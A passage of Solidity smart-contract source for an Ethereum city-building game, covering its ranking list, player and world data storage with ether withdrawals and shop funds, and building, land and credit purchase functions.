1]; bdata.creditsPerSec = data[index + 2]; bdata.maxUpgrade = data[index + 3]; bdata.constructCredit = data[index + 4]; bdata.constructEther = data[index + 5]; bdata.upgradeCredit = data[index + 6]; bdata.demolishCredit = data[index + 7]; bdata.constructSale = 100; bdata.upgradeSale = 100; bdata.demolishSale = 100; } } function GetBuildingParam(uint256 id) external view returns(uint256 population, uint256 crdtsec, uint256 maxupd) { BuildingData storage bdata = buildingData[id]; population = bdata.population; crdtsec = bdata.creditsPerSec; maxupd = bdata.maxUpgrade; } function GetConstructCost(uint256 id, uint256 count) external view returns(uint256 cnstcrdt, uint256 cnsteth) { BuildingData storage bdata = buildingData[id]; cnstcrdt = bdata.constructCredit * bdata.constructSale / 100 * count; cnsteth = bdata.constructEther * bdata.constructSale / 100 * count; } function GetUpgradeCost(uint256 id, uint256 count) external view returns(uint256 updcrdt) { BuildingData storage bdata = buildingData[id]; updcrdt = bdata.upgradeCredit * bdata.upgradeSale / 100 * count; } function GetDemolishCost(uint256 id, uint256 count) external view returns(uint256) { BuildingData storage bdata = buildingData[id]; return bdata.demolishCredit * bdata.demolishSale / 100 * count; } } contract EtherCityRank { struct LINKNODE { uint256 count; uint256 leafLast; } struct LEAFNODE { address player; uint256 population; uint256 time; uint256 prev; uint256 next; } uint256 private constant LINK_NULL = uint256(-1); uint256 private constant LEAF_PER_LINK = 30; uint256 private constant LINK_COUNT = 10; uint256 private constant LINK_ENDIDX = LINK_COUNT - 1; mapping(uint256 => LINKNODE) private linkNodes; mapping(uint256 => LEAFNODE) private leafNodes; uint256 private leafCount; address private owner; address private admin; address private city; constructor() public payable { owner = msg.sender; for(uint256 index = 1; index < LINK_COUNT; index++) linkNodes[index] = LINKNODE({count:0, leafLast:LINK_NULL}); linkNodes[0] = LINKNODE({count:1, leafLast:0}); leafNodes[0] = LEAFNODE({player:address(0), population:uint256(-1), time:0, prev:LINK_NULL, next:LINK_NULL}); leafCount = 1; } function GetVersion() external pure returns(uint256) { return 1000; } function GetRank(uint16 rankidx) external view returns(address player, uint256 pop, uint256 time, uint256 nextidx) { uint256 leafidx; if (rankidx == 0) leafidx = leafNodes[0].next; else leafidx = rankidx; if (leafidx != LINK_NULL) { player = leafNodes[leafidx].player; pop = leafNodes[leafidx].population; time = leafNodes[leafidx].time; nextidx = leafNodes[leafidx].next; } else { player = address(0); pop = 0; time = 0; nextidx = 0; } } function UpdateRank(address player, uint256 pop_new, uint256 time_new) external { bool found; uint256 linkidx; uint256 leafidx; uint256 emptyidx; require(owner == msg.sender || admin == msg.sender || city == msg.sender); emptyidx = RemovePlayer(player); (found, linkidx, leafidx) = findIndex(pop_new, time_new); if (linkidx == LINK_NULL) return; if (linkNodes[LINK_ENDIDX].count == LEAF_PER_LINK) { emptyidx = linkNodes[LINK_ENDIDX].leafLast; RemoveRank(LINK_ENDIDX, emptyidx); } else if (emptyidx == LINK_NULL) { emptyidx = leafCount; leafCount++; } leafNodes[emptyidx] = LEAFNODE({player:player, population:pop_new, time:time_new, prev:LINK_NULL, next:LINK_NULL}); InsertRank(linkidx, leafidx, emptyidx); } function adminSetAdmin(address addr) external { require(owner == msg.sender); admin = addr; } function adminSetCity(address addr) external { require(owner == msg.sender || admin == msg.sender); city = addr; } function adminResetRank() external { require(owner == msg.sender || admin == msg.sender); for(uint256 index = 1; index < LINK_COUNT; index++) linkNodes[index] = LINKNODE({count:0, leafLast:LINK_NULL}); linkNodes[0] = LINKNODE({count:1, leafLast:0}); leafNodes[0] = LEAFNODE({player:address(0), population:uint256(-1), time:0, prev:LINK_NULL, next:LINK_NULL}); leafCount = 1; } function findIndex(uint256 pop, uint256 time) private view returns(bool found, uint256 linkidx, uint256 leafidx) { uint256 comp; found = false; for(linkidx = 0; linkidx < LINK_COUNT; linkidx++) { LINKNODE storage lknode = linkNodes[linkidx]; if (lknode.count < LEAF_PER_LINK) break; LEAFNODE storage lfnode = leafNodes[lknode.leafLast]; if ((compareLeaf(pop, time, lfnode.population, lfnode.time) >= 1)) break; } if (linkidx == LINK_COUNT) { linkidx = (linkNodes[LINK_ENDIDX].count < LEAF_PER_LINK) ? LINK_ENDIDX : LINK_NULL; leafidx = LINK_NULL; return; } leafidx = lknode.leafLast; for(uint256 index = 0; index < lknode.count; index++) { lfnode = leafNodes[leafidx]; comp = compareLeaf(pop, time, lfnode.population, lfnode.time); if (comp == 0) { leafidx = lfnode.next; break; } else if (comp == 1) { found = true; break; } if (index + 1 < lknode.count) leafidx = lfnode.prev; } } function InsertRank(uint256 linkidx, uint256 leafidx_before, uint256 leafidx_new) private { uint256 leafOnLink; uint256 leafLast; if (leafidx_before == LINK_NULL) { leafLast = linkNodes[linkidx].leafLast; if (leafLast != LINK_NULL) ConnectLeaf(leafidx_new, leafNodes[leafLast].next); else leafNodes[leafidx_new].next = LINK_NULL; ConnectLeaf(leafLast, leafidx_new); linkNodes[linkidx].leafLast = leafidx_new; linkNodes[linkidx].count++; return; } ConnectLeaf(leafNodes[leafidx_before].prev, leafidx_new); ConnectLeaf(leafidx_new, leafidx_before); leafLast = LINK_NULL; for(uint256 index = linkidx; index < LINK_COUNT; index++) { leafOnLink = linkNodes[index].count; if (leafOnLink < LEAF_PER_LINK) { if (leafOnLink == 0) linkNodes[index].leafLast = leafLast; linkNodes[index].count++; break; } leafLast = linkNodes[index].leafLast; linkNodes[index].leafLast = leafNodes[leafLast].prev; } } function RemoveRank(uint256 linkidx, uint256 leafidx) private { uint256 next; for(uint256 index = linkidx; index < LINK_COUNT; index++) { LINKNODE storage link = linkNodes[index]; next = leafNodes[link.leafLast].next; if (next == LINK_NULL) { link.count--; if (link.count == 0) link.leafLast = LINK_NULL; break; } else link.leafLast = next; } LEAFNODE storage leaf_cur = leafNodes[leafidx]; if (linkNodes[linkidx].leafLast == leafidx) linkNodes[linkidx].leafLast = leaf_cur.prev; ConnectLeaf(leaf_cur.prev, leaf_cur.next); } function RemovePlayer(address player) private returns(uint256 leafidx) { for(uint256 linkidx = 0; linkidx < LINK_COUNT; linkidx++) { LINKNODE storage lknode = linkNodes[linkidx]; leafidx = lknode.leafLast; for(uint256 index = 0; index < lknode.count; index++) { LEAFNODE storage lfnode = leafNodes[leafidx]; if (lfnode.player == player) { RemoveRank(linkidx, leafidx); return; } leafidx = lfnode.prev; } } return LINK_NULL; } function ConnectLeaf(uint256 leafprev, uint256 leafnext) private { if (leafprev != LINK_NULL) leafNodes[leafprev].next = leafnext; if (leafnext != LINK_NULL) leafNodes[leafnext].prev = leafprev; } function compareLeaf(uint256 pop1, uint256 time1, uint256 pop2, uint256 time2) private pure returns(uint256) { if (pop1 > pop2) return 2; else if (pop1 < pop2) return 0; if (time1 > time2) return 2; else if (time1 < time2) return 0; return 1; } } contract EtherCityData { struct WORLDDATA { uint256 ethBalance; uint256 ethDev; uint256 population; uint256 credits; uint256 starttime; } struct WORLDSNAPSHOT { bool valid; uint256 ethDay; uint256 ethBalance; uint256 ethRankFund; uint256 ethShopFund; uint256 ethRankFundRemain; uint256 ethShopFundRemain; uint256 population; uint256 credits; uint256 lasttime; } struct CITYDATA { bytes32 name; uint256 credits; uint256 population; uint256 creditsPerSec; uint256 landOccupied; uint256 landUnoccupied; uint256 starttime; uint256 lasttime; uint256 withdrawSS; } struct CITYSNAPSHOT { bool valid; uint256 population; uint256 credits; uint256 shopCredits; uint256 lasttime; } struct BUILDINGDATA { uint256 constructCount; uint256 upgradeCount; uint256 population; uint256 creditsPerSec; } uint256 private constant INTFLOATDIV = 100; address private owner; address private admin; address private city; bool private enabled; WORLDDATA private worldData; mapping(uint256 => WORLDSNAPSHOT) private worldSnapshot; address[] private playerlist; mapping(address => CITYDATA) private cityData; mapping(address => mapping(uint256 => CITYSNAPSHOT)) private citySnapshot; mapping(address => mapping(uint256 => BUILDINGDATA)) private buildings; mapping(address => uint256) private ethBalance; constructor() public payable { owner = msg.sender; enabled = true; worldData = WORLDDATA({ethBalance:0, ethDev:0, population:0, credits:0, starttime:block.timestamp}); worldSnapshot[nowday()] = WORLDSNAPSHOT({valid:true, ethDay:0, ethBalance:0, ethRankFund:0, ethShopFund:0, ethRankFundRemain:0, ethShopFundRemain:0, population:0, credits:0, lasttime:block.timestamp}); } function GetVersion() external pure returns(uint256) { return 1001; } function IsPlayer(address player) external view returns(bool) { for(uint256 index = 0; index < playerlist.length; index++) { if (playerlist[index] == player) return true; } return false; } function IsCityNameExist(bytes32 cityname) external view returns(bool) { for(uint256 index = 0; index < playerlist.length; index++) { if (cityData[playerlist[index]].name == cityname) return false; } return true; } function CreateCityData(address player, uint256 crdtsec, uint256 landcount) external { uint256 day; require(cityData[player].starttime == 0); require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); playerlist.push(player); day = nowday(); cityData[player] = CITYDATA({name:0, credits:0, population:0, creditsPerSec:crdtsec, landOccupied:0, landUnoccupied:landcount, starttime:block.timestamp, lasttime:block.timestamp, withdrawSS:day}); citySnapshot[player][day] = CITYSNAPSHOT({valid:true, population:0, credits:0, shopCredits:0, lasttime:block.timestamp}); } function GetWorldData() external view returns(uint256 ethBal, uint256 ethDev, uint256 population, uint256 credits, uint256 starttime) { require(owner == msg.sender || admin == msg.sender || city == msg.sender); ethBal = worldData.ethBalance; ethDev = worldData.ethDev; population = worldData.population; credits = worldData.credits; starttime = worldData.starttime; } function SetWorldData(uint256 ethBal, uint256 ethDev, uint256 population, uint256 credits, uint256 starttime) external { require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); worldData.ethBalance = ethBal; worldData.ethDev = ethDev; worldData.population = population; worldData.credits = credits; worldData.starttime = starttime; } function SetWorldSnapshot(uint256 day, bool valid, uint256 population, uint256 credits, uint256 lasttime) external { WORLDSNAPSHOT storage wss = worldSnapshot[day]; require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); wss.valid = valid; wss.population = population; wss.credits = credits; wss.lasttime = lasttime; } function GetCityData(address player) external view returns(uint256 credits, uint256 population, uint256 creditsPerSec, uint256 landOccupied, uint256 landUnoccupied, uint256 lasttime) { CITYDATA storage cdata = cityData[player]; require(owner == msg.sender || admin == msg.sender || city == msg.sender); credits = cdata.credits; population = cdata.population; creditsPerSec = cdata.creditsPerSec; landOccupied = cdata.landOccupied; landUnoccupied = cdata.landUnoccupied; lasttime = cdata.lasttime; } function SetCityData(address player, uint256 credits, uint256 population, uint256 creditsPerSec, uint256 landOccupied, uint256 landUnoccupied, uint256 lasttime) external { CITYDATA storage cdata = cityData[player]; require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); cdata.credits = credits; cdata.population = population; cdata.creditsPerSec = creditsPerSec; cdata.landOccupied = landOccupied; cdata.landUnoccupied = landUnoccupied; cdata.lasttime = lasttime; } function GetCityName(address player) external view returns(bytes32) { return cityData[player].name; } function SetCityName(address player, bytes32 name) external { require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); cityData[player].name = name; } function GetCitySnapshot(address player, uint256 day) external view returns(bool valid, uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime) { CITYSNAPSHOT storage css = citySnapshot[player][day]; require(owner == msg.sender || admin == msg.sender || city == msg.sender); valid = css.valid; population = css.population; credits = css.credits; shopCredits = css.shopCredits; lasttime = css.lasttime; } function SetCitySnapshot(address player, uint256 day, bool valid, uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime) external { CITYSNAPSHOT storage css = citySnapshot[player][day]; require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); css.valid = valid; css.population = population; css.credits = credits; css.shopCredits = shopCredits; css.lasttime = lasttime; } function GetBuildingData(address player, uint256 id) external view returns(uint256 constructCount, uint256 upgradeCount, uint256 population, uint256 creditsPerSec) { BUILDINGDATA storage bdata = buildings[player][id]; require(owner == msg.sender || admin == msg.sender || city == msg.sender); constructCount = bdata.constructCount; upgradeCount = bdata.upgradeCount; population = bdata.population; creditsPerSec = bdata.creditsPerSec; } function SetBuildingData(address player, uint256 id, uint256 constructCount, uint256 upgradeCount, uint256 population, uint256 creditsPerSec) external { BUILDINGDATA storage bdata = buildings[player][id]; require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); bdata.constructCount = constructCount; bdata.upgradeCount = upgradeCount; bdata.population = population; bdata.creditsPerSec = creditsPerSec; } function GetEthBalance(address player) external view returns(uint256) { require(owner == msg.sender || admin == msg.sender || city == msg.sender); return ethBalance[player]; } function SetEthBalance(address player, uint256 eth) external { require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); ethBalance[player] = eth; } function AddEthBalance(address player, uint256 eth) external { require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); ethBalance[player] += eth; } function GetWithdrawBalance(address player) external view returns(uint256 ethBal) { uint256 startday; require(owner == msg.sender || admin == msg.sender || city == msg.sender); ethBal = ethBalance[player]; startday = cityData[player].withdrawSS; for(uint256 day = nowday() - 1; day >= startday; day--) { WORLDSNAPSHOT memory wss = TestWorldSnapshotInternal(day); CITYSNAPSHOT memory css = TestCitySnapshotInternal(player, day); ethBal += Math.min256(SafeMath.muldiv(wss.ethRankFund, css.population, wss.population), wss.ethRankFundRemain); } } function WithdrawEther(address player) external { uint256 startday; uint256 ethBal; uint256 eth; CITYDATA storage cdata = cityData[player]; require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); ethBal = ethBalance[player]; startday = cdata.withdrawSS; for(uint256 day = nowday() - 1; day >= startday; day--) { WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day); CITYSNAPSHOT storage css = ValidateCitySnapshotInternal(player, day); if (wss.ethRankFundRemain > 0) { eth = Math.min256(SafeMath.muldiv(wss.ethRankFund, css.population, wss.population), wss.ethRankFundRemain); wss.ethRankFundRemain -= eth; ethBal += eth; } } require(0 < ethBal); ethBalance[player] = 0; cdata.withdrawSS = nowday() - 1; player.transfer(ethBal); } function GetEthShop(address player) external view returns(uint256 shopEth, uint256 shopCredits) { uint256 day; CITYSNAPSHOT memory css; WORLDSNAPSHOT memory wss; require(owner == msg.sender || admin == msg.sender || city == msg.sender); day = nowday() - 1; if (day < cityData[player].starttime / 24 hours) { shopEth = 0; shopCredits = 0; return; } wss = TestWorldSnapshotInternal(day); css = TestCitySnapshotInternal(player, day); shopEth = Math.min256(SafeMath.muldiv(wss.ethShopFund, css.shopCredits, wss.credits), wss.ethShopFundRemain); shopCredits = css.shopCredits; } function TradeEthShop(address player, uint256 credits) external { uint256 day; uint256 shopEth; require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); day = nowday() - 1; require(day >= cityData[player].starttime / 24 hours); WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day); CITYSNAPSHOT storage css = ValidateCitySnapshotInternal(player, day); require(wss.ethShopFundRemain > 0); require((0 < credits) && (credits <= css.shopCredits)); shopEth = Math.min256(SafeMath.muldiv(wss.ethShopFund, css.shopCredits, wss.credits), wss.ethShopFundRemain); wss.ethShopFundRemain -= shopEth; css.shopCredits -= credits; ethBalance[player] += shopEth; } function UpdateEthBalance(uint256 bal, uint256 devf, uint256 rnkf, uint256 shpf) external payable { require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); worldData.ethBalance += bal + devf + rnkf + shpf; worldData.ethDev += devf; WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(nowday()); wss.ethDay += bal + devf + rnkf + shpf; wss.ethBalance += bal; wss.ethRankFund += rnkf; wss.ethShopFund += shpf; wss.ethRankFundRemain += rnkf; wss.ethShopFundRemain += shpf; wss.lasttime = block.timestamp; ethBalance[owner] += devf; } function ValidateWorldSnapshot(uint256 day) external returns(uint256 ethRankFund, uint256 population, uint256 credits, uint256 lasttime) { WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day); require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); ethRankFund = wss.ethRankFund; population = wss.population; credits = wss.credits; lasttime = wss.lasttime; } function TestWorldSnapshot(uint256 day) external view returns(uint256 ethRankFund, uint256 population, uint256 credits, uint256 lasttime) { WORLDSNAPSHOT memory wss = TestWorldSnapshotInternal(day); require(owner == msg.sender || admin == msg.sender || city == msg.sender); ethRankFund = wss.ethRankFund; population = wss.population; credits = wss.credits; lasttime = wss.lasttime; } function ValidateCitySnapshot(address player, uint256 day) external returns(uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime) { CITYSNAPSHOT storage css = ValidateCitySnapshotInternal(player, day); require(owner == msg.sender || admin == msg.sender || (enabled && city == msg.sender)); population = css.population; credits = css.credits; shopCredits = css.shopCredits; lasttime = css.lasttime; } function TestCitySnapshot(address player, uint256 day) external view returns(uint256 population, uint256 credits, uint256 shopCredits, uint256 lasttime) { CITYSNAPSHOT memory css = TestCitySnapshotInternal(player, day); require(owner == msg.sender || admin == msg.sender || city == msg.sender); population = css.population; credits = css.credits; shopCredits = css.shopCredits; lasttime = css.lasttime; } function nowday() private view returns(uint256) { return block.timestamp / 24 hours; } function adminSetAdmin(address addr) external { require(owner == msg.sender); admin = addr; } function adminSetCity(address addr) external { require(owner == msg.sender || admin == msg.sender); city = addr; } function adminGetEnabled() external view returns(bool) { require(owner == msg.sender || admin == msg.sender); return enabled; } function adminSetEnabled(bool bval) external { require(owner == msg.sender || admin == msg.sender); enabled = bval; } function adminGetWorldData() external view returns(uint256 eth, uint256 ethDev, uint256 population, uint256 credits, uint256 starttime) { require(msg.sender == owner || msg.sender == admin); eth = worldData.ethBalance; ethDev = worldData.ethDev; population = worldData.population; credits = worldData.credits; starttime = worldData.starttime; } function adminGetWorldSnapshot(uint256 day) external view returns(bool valid, uint256 ethDay, uint256 ethBal, uint256 ethRankFund, uint256 ethShopFund, uint256 ethRankFundRemain, uint256 ethShopFundRemain, uint256 population, uint256 credits, uint256 lasttime) { WORLDSNAPSHOT storage wss = worldSnapshot[day]; require(owner == msg.sender || admin == msg.sender); valid = wss.valid; ethDay = wss.ethDay; ethBal = wss.ethBalance; ethRankFund = wss.ethRankFund; ethShopFund = wss.ethShopFund; ethRankFundRemain = wss.ethRankFundRemain; ethShopFundRemain = wss.ethShopFundRemain; population = wss.population; credits = wss.credits; lasttime = wss.lasttime; } function adminSetWorldSnapshot(uint256 day, bool valid, uint256 ethDay, uint256 ethBal, uint256 ethRankFund, uint256 ethShopFund, uint256 ethRankFundRemain, uint256 ethShopFundRemain, uint256 population, uint256 credits, uint256 lasttime) external { WORLDSNAPSHOT storage wss = worldSnapshot[day]; require(owner == msg.sender || admin == msg.sender); wss.valid = valid; wss.ethDay = ethDay; wss.ethBalance = ethBal; wss.ethRankFund = ethRankFund; wss.ethShopFund = ethShopFund; wss.ethRankFundRemain = ethRankFundRemain; wss.ethShopFundRemain = ethShopFundRemain; wss.population = population; wss.credits = credits; wss.lasttime = lasttime; } function adminGetCityData(address player) external view returns(bytes32 name, uint256 credits, uint256 population, uint256 creditsPerSec, uint256 landOccupied, uint256 landUnoccupied, uint256 starttime, uint256 lasttime, uint256 withdrawSS) { CITYDATA storage cdata = cityData[player]; require(owner == msg.sender || admin == msg.sender); name = cdata.name; credits = cdata.credits; population = cdata.population; creditsPerSec = cdata.creditsPerSec; landOccupied = cdata.landOccupied; landUnoccupied = cdata.landUnoccupied; starttime = cdata.starttime; lasttime = cdata.lasttime; withdrawSS = cdata.withdrawSS; } function adminSetCityData(address player, bytes32 name, uint256 credits, uint256 population, uint256 creditsPerSec, uint256 landOccupied, uint256 landUnoccupied, uint256 starttime, uint256 lasttime, uint256 withdrawSS) external { CITYDATA storage cdata = cityData[player]; require(owner == msg.sender || admin == msg.sender); cdata.name = name; cdata.credits = credits; cdata.population = population; cdata.creditsPerSec = creditsPerSec; cdata.landOccupied = landOccupied; cdata.landUnoccupied = landUnoccupied; cdata.starttime = starttime; cdata.lasttime = lasttime; cdata.withdrawSS = withdrawSS; } function adminUpdateWorldSnapshot() external { require(msg.sender == owner || msg.sender == admin); ValidateWorldSnapshotInternal(nowday()); } function adminGetPastShopFund() external view returns(uint256 ethBal) { uint256 startday; WORLDSNAPSHOT memory wss; require(msg.sender == owner || msg.sender == admin); ethBal = 0; startday = worldData.starttime / 24 hours; for(uint256 day = nowday() - 2; day >= startday; day--) { wss = TestWorldSnapshotInternal(day); ethBal += wss.ethShopFundRemain; } } function adminCollectPastShopFund() external { uint256 startday; uint256 ethBal; require(msg.sender == owner || msg.sender == admin); ethBal = ethBalance[owner]; startday = worldData.starttime / 24 hours; for(uint256 day = nowday() - 2; day >= startday; day--) { WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(day); ethBal += wss.ethShopFundRemain; wss.ethShopFundRemain = 0; } ethBalance[owner] = ethBal; } function adminSendWorldBalance() external payable { require(msg.sender == owner || msg.sender == admin); WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(nowday()); wss.ethBalance += msg.value; } function adminTransferWorldBalance(uint256 eth) external { require(msg.sender == owner || msg.sender == admin); WORLDSNAPSHOT storage wss = ValidateWorldSnapshotInternal(nowday()); require(eth <= wss.ethBalance); ethBalance[owner] += eth; wss.ethBalance -= eth; } function adminGetContractBalance() external view returns(uint256) { require(msg.sender == owner || msg.sender == admin); return address(this).balance; } function adminTransferContractBalance(uint256 eth) external { require(msg.sender == owner || msg.sender == admin); owner.transfer(eth); } function adminGetPlayerCount() external view returns(uint256) { require(msg.sender == owner || msg.sender == admin); return playerlist.length; } function adminGetPlayer(uint256 index) external view returns(address player, uint256 eth) { require(msg.sender == owner || msg.sender == admin); player = playerlist[index]; eth = ethBalance[player]; } function ValidateWorldSnapshotInternal(uint256 day) private returns(WORLDSNAPSHOT storage) { uint256 fndf; uint256 sday; sday = day; while (!worldSnapshot[sday].valid) sday--; WORLDSNAPSHOT storage prev = worldSnapshot[sday]; sday++; while (sday <= day) { worldSnapshot[sday] = WORLDSNAPSHOT({valid:true, ethDay:0, ethBalance:0, ethRankFund:0, ethShopFund:0, ethRankFundRemain:0, ethShopFundRemain:0, population:prev.population, credits:prev.credits, lasttime:prev.lasttime / 24 hours + 1}); WORLDSNAPSHOT storage wss = worldSnapshot[sday]; wss.ethBalance = prev.ethBalance * 90 /100; fndf = prev.ethBalance - wss.ethBalance; wss.ethRankFund = fndf * 70 / 100; wss.ethShopFund = fndf - wss.ethRankFund; wss.ethRankFund = wss.ethRankFund; wss.ethShopFund = wss.ethShopFund; wss.ethRankFundRemain = wss.ethRankFund; wss.ethShopFundRemain = wss.ethShopFund; prev = wss; sday++; } return prev; } function TestWorldSnapshotInternal(uint256 day) private view returns(WORLDSNAPSHOT memory) { uint256 fndf; uint256 sday; sday = day; while (!worldSnapshot[sday].valid) sday--; WORLDSNAPSHOT memory prev = worldSnapshot[sday]; sday++; while (sday <= day) { WORLDSNAPSHOT memory wss = WORLDSNAPSHOT({valid:true, ethDay:0, ethBalance:0, ethRankFund:0, ethShopFund:0, ethRankFundRemain:0, ethShopFundRemain:0, population:prev.population, credits:prev.credits, lasttime:prev.lasttime / 24 hours + 1}); wss.ethBalance = prev.ethBalance * 90 /100; fndf = prev.ethBalance - wss.ethBalance; wss.ethRankFund = fndf * 70 / 100; wss.ethShopFund = fndf - wss.ethRankFund; wss.ethRankFund = wss.ethRankFund; wss.ethShopFund = wss.ethShopFund; wss.ethRankFundRemain = wss.ethRankFund; wss.ethShopFundRemain = wss.ethShopFund; prev = wss; sday++; } return prev; } function ValidateCitySnapshotInternal(address player, uint256 day) private returns(CITYSNAPSHOT storage) { uint256 sday; sday = day; while (!citySnapshot[player][sday].valid) sday--; CITYSNAPSHOT storage css = citySnapshot[player][sday]; sday++; while (sday <= day) { citySnapshot[player][sday] = CITYSNAPSHOT({valid:true, population:css.population, credits:css.credits, shopCredits:css.credits, lasttime:sday * 24 hours}); css = citySnapshot[player][sday]; sday++; } return css; } function TestCitySnapshotInternal(address player, uint256 day) private view returns(CITYSNAPSHOT memory) { uint256 sday; sday = day; while (!citySnapshot[player][sday].valid) sday--; CITYSNAPSHOT memory css = citySnapshot[player][sday]; sday++; while (sday <= day) { css = CITYSNAPSHOT({valid:true, population:css.population, credits:css.credits, shopCredits:css.credits, lasttime:sday * 24 hours}); sday++; } return css; } } contract EtherCity { struct WORLDDATA { uint256 ethBalance; uint256 ethDev; uint256 population; uint256 credits; uint256 starttime; } struct WORLDSNAPSHOT { uint256 population; uint256 credits; uint256 lasttime; } struct CITYDATA { uint256 credits; uint256 population; uint256 creditsPerSec; uint256 landOccupied; uint256 landUnoccupied; uint256 lasttime; } struct CITYSNAPSHOT { uint256 population; uint256 credits; uint256 shopCredits; uint256 lasttime; } struct BUILDINGDATA { uint256 constructCount; uint256 upgradeCount; uint256 population; uint256 creditsPerSec; } uint256 private constant INTFLOATDIV = 100; address private owner; address private admin; EtherCityConfig private config; EtherCityData private data; EtherCityRank private rank; event OnConstructed(address player, uint256 id, uint256 count); event OnUpdated(address player, uint256 id, uint256 count); event OnDemolished(address player, uint256 id, uint256 count); event OnBuyLands(address player, uint256 count); event OnBuyCredits(address player, uint256 eth); constructor() public payable { owner = msg.sender; } function GetVersion() external pure returns(uint256) { return 1001; } function IsPlayer() external view returns(bool) { return data.IsPlayer(msg.sender); } function StartCity() external { uint256 ethland; uint256 maxland; uint256 initcrdt; uint256 crdtsec; uint256 landcount; (ethland, maxland, initcrdt, crdtsec, landcount) = config.GetInitData(); CITYDATA memory cdata = dtCreateCityData(msg.sender, crdtsec, landcount); UpdateCityData(cdata, 0, initcrdt, 0, 0); dtSetCityData(msg.sender, cdata); } function GetCityName(address player) external view returns(bytes32) { return data.GetCityName(player); } function SetCityName(bytes32 name) external { data.SetCityName(msg.sender, name); } function GetWorldSnapshot() external view returns(uint256 ethFund, uint256 population, uint256 credits, uint256 lasttime, uint256 nexttime, uint256 timestamp) { WORLDSNAPSHOT memory wss; (ethFund, wss) = dtTestWorldSnapshot(nowday()); population = wss.population; credits = wss.credits; lasttime = wss.lasttime; nexttime = daytime(nowday() + 1); timestamp = block.timestamp; } function GetCityData() external view returns(bytes32 cityname, uint256 population, uint256 credits, uint256 creditsPerSec, uint256 occupied, uint256 unoccupied, uint256 timestamp) { CITYDATA memory cdata = dtGetCityData(msg.sender); cityname = data.GetCityName(msg.sender); credits = CalcIncCredits(cdata) + cdata.credits; population = cdata.population; creditsPerSec = cdata.creditsPerSec; occupied = cdata.landOccupied; unoccupied = cdata.landUnoccupied; timestamp = block.timestamp; } function GetCitySnapshot() external view returns(uint256 population, uint256 credits, uint256 timestamp) { CITYSNAPSHOT memory css = dtTestCitySnapshot(msg.sender, nowday()); population = css.population; credits = css.credits; timestamp = block.timestamp; } function GetBuildingData(uint256 id) external view returns(uint256 constructCount, uint256 upgradeCount, uint256 population, uint256 creditsPerSec) { BUILDINGDATA memory bdata = dtGetBuildingData(msg.sender, id); constructCount = bdata.constructCount; upgradeCount = bdata.upgradeCount; (population, creditsPerSec) = CalcBuildingParam(bdata); } function GetConstructCost(uint256 id, uint256 count) external view returns(uint256 cnstcrdt, uint256 cnsteth) { (cnstcrdt, cnsteth) = config.GetConstructCost(id, count); } function ConstructByCredits(uint256 id, uint256 count) external { CITYDATA memory cdata = dtGetCityData(msg.sender); require(count > 0); if (!ConstructBuilding(cdata, id, count, true)) require(false); dtSetCityData(msg.sender, cdata); emit OnConstructed(msg.sender, id, count); } function ConstructByEth(uint256 id, uint256 count) external payable { CITYDATA memory cdata = dtGetCityData(msg.sender); require(count > 0); if (!ConstructBuilding(cdata, id, count, false)) require(false); dtSetCityData(msg.sender, cdata); emit OnConstructed(msg.sender, id, count); } function BuyLandsByEth(uint256 count) external payable { uint256 ethland; uint256 maxland; require(count > 0); (ethland, maxland) = config.GetLandData(); CITYDATA memory cdata = dtGetCityData(msg.sender); require(cdata.landOccupied + cdata.landUnoccupied + count <= maxland); UpdateEthBalance(ethland * count, msg.value); UpdateCityData(cdata, 0, 0, 0, 0); cdata.landUnoccupied += count; dtSetCityData(msg.sender, cdata); emit OnBuyLands(msg.sender, count); } function BuyCreditsByEth(uint256 eth) external payable { CITYDATA memory cdata = dtGetCityData(msg.sender); require(eth > 0); UpdateEthBalance(eth, msg.value); UpdateCityData(cdata, 0, 0, 0, 0); cdata.credits += eth * config.GetCreditsPerEth(); dtSetCityData(msg.sender, cdata); emit OnBuyCredits(msg.sender, eth); } function GetUpgradeCost(uint256 id, uint256 count) external view returns(uint256) { return config.GetUpgradeCost(id, count); } function UpgradeByCredits(uint256 id, uint256 count) external { uint256 a_population; uint256 a_crdtsec; uint256 updcrdt; CITYDATA memory cdata = dtGetCityData(msg.sender); require(count > 0); (a_population, a_crdtsec) = UpdateBuildingParam(cdata, id, 0, count); require((a_population > 0) || (a_crdtsec > 0)); updcrdt = config.GetUpgradeCost(id, count); UpdateCityData(cdata, a_population, 0, updcrdt, a_crdtsec); if (a_population != 0) rank.UpdateRank(msg.sender, cdata.population, cdata.lasttime); dtSetCityData(msg.sender, cdata); emit OnUpdated(msg.sender, id, count); } function GetDemolishCost(uint256 id, uint256 count) external view returns (uint256) { require(count > 0); return config.GetDemolishCost(id, count); } function DemolishByCredits(uint256 id, uint256 count) external { uint256 a_population; uint256 a_crdtsec; uint256 dmlcrdt; CITYDATA memory cdata = dtGetCityData(msg.sender); require(count > 0); (a_population, a_crdtsec) = UpdateBuildingParam(cdata, id, -count, 0); require((a_population > 0) || (a_crdtsec > 0)); dmlcrdt = config.GetDemolishCost(id, count); UpdateCityData(cdata, a_population, 0, dmlcrdt, a_crdtsec); if (a_population != 0) rank.UpdateRank(msg.sender, cdata.population, cdata.lasttime); dtSetCityData(msg.sender, cdata); emit OnDemolished(msg.sender, id, count); } function GetEthBalance() external view returns(uint256 ethBal) { return data.GetWithdrawBalance(msg.sender); } function 